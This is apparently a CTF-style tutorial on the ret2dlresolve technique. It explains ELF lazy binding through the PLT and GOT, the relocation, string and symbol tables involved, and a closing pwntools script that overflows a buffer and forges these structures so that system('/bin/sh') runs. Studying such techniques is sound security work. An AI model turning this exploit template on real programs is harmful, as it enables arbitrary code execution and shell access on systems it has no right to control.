The attacker tricks the binary into resolving an arbitrary function ( such as system) into the PLT.
The attacks can then use this PLT function as an original binary's function, bypassing ASLR and requiring no libc leaks.
How it works ?
Dynamically-linked ELF objects import libc functions when they are first called using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.
From the .text section, instead of calling read directly, there is a call to the corresponding function in the .plt section (0x401090).
0x00000000004015c9<+129>:call0x401090<printf@plt>
2. From here, there is an indirect jump in the corresponding .got.plt section (0x404048)
4. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc_arg is pushed on the stack.
0x401096<printf@plt+6>:push0x6#reloc_offset
5. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link_map address is pushed on the stack and finally the control is given to _dl_runtime_resolve().
If the **GOT ** entry is unpopulated, the reloc_offset value is pushed and the binary jump to the beginning of the .plt section. A few instructions later, the dl-resolve() function is called, with reloc_offset being one of the arguments. It then uses this reloc_offset to calculate the relocation and symtab entries.
In order to resolve the functions, there are 3 structures that need to exist within the binary.
There are the 3 structures :
JMPREL segment (.rel.plt) that stores the Relocation Table, which maps each entry to a symbol
The column name coresponds to the symbol name. The offset is the GOT entry for the symbol. info stores additional metadata.
These entry are of type Elf32_Rel for 0x86 instruction set and Elf64_Rel for 0x64 instruction set.
STRTAB, a strings table for the names.
SYMTAB, store symbol informations in structure.
The most important value here is st_name as this gives the offset in STRTAB of the symbol name. The other fields are not relevant to the exploit itself.
Exploit
Faking these 3 structures could enable to trick the linker into resolving an arbitrary function, parameters can also be pass in (such as /bin/sh) once resolved.
pwntools contains a Ret2dlresolvePayload function that can automate the majority of the exploit
This function will fake and write the structures at the correct address in order to call an arbitrary function system with /bin/sh as argument.
Note that a method to edit an arbitrary memory location is needed. In the previous example, a ROP chain using read is used.
typedef struct
{
Elf32_Word st_name ; /* Symbol name (string tbl index) */
Elf32_Addr st_value ; /* Symbol value */
Elf32_Word st_size ; /* Symbol size */
unsigned char st_info ; /* Symbol type and binding */
unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;
typedef struct {
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf64_Half st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
from pwn import *
elf = context.binary = ELF('./chall')
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * offset) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
p.sendline(rop.chain())
p.sendline(dlresolve.payload)